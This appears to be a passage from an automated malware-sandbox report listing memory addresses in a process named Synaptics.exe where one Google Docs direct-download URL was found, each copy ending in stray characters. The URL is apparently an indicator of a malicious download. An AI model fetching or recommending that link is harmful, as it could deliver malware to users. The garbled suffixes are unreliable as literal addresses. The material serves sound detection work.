Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOe
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPRk
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1977210353.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ.
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQeK
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.1316708703.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR;
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRI
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS1
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS?D
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSd
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1977210353.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTK
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTQo
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU9N
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUd
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVQ
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVk&export=downloadHostdocs
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWP
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX5
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX:M
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXP
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXQ
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY/)
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYI
Source: Synaptics.exe, 00000003.00000002.1445445710.00000000071C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYY
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZfSVl40
Source: Synaptics.exe, 00000003.00000002.1441338159.000000000063D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZr
Source: Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_;H
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_f
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_o
Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada.ne
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada:r
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadag
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadager-3
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaic
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadalif
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamad
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadapps.3
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadation
Source: Synaptics.exe, 00000003.00000002.1442781066.0000000004D5E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1447731711.00000000076FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442543510.000000000478E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445076712.00000000069AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1448158191.0000000007E7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445310013.0000000006EBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445020863.000000000686E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445196052.0000000006C2E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445423228.000000000713E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442221240.0000000002ADE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1447862514.000000000797E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445135665.0000000006AEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445367583.0000000006FFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1447924654.0000000007ABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442940964.000000000511E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442723773.0000000004C1E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1444837747.00000000064EE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442143184.000000000298D000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1447801991.000000000783E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442886944.0000000004FDE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb9w
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbleco
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc.o
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcFh
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcZUbq
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcfL
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadck.cn
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcl
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.c
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.c&
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.coq
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom.J
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom.t~
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadct
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd0
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd;q
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddS_
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddV
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddn.de
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddown
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddroid
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
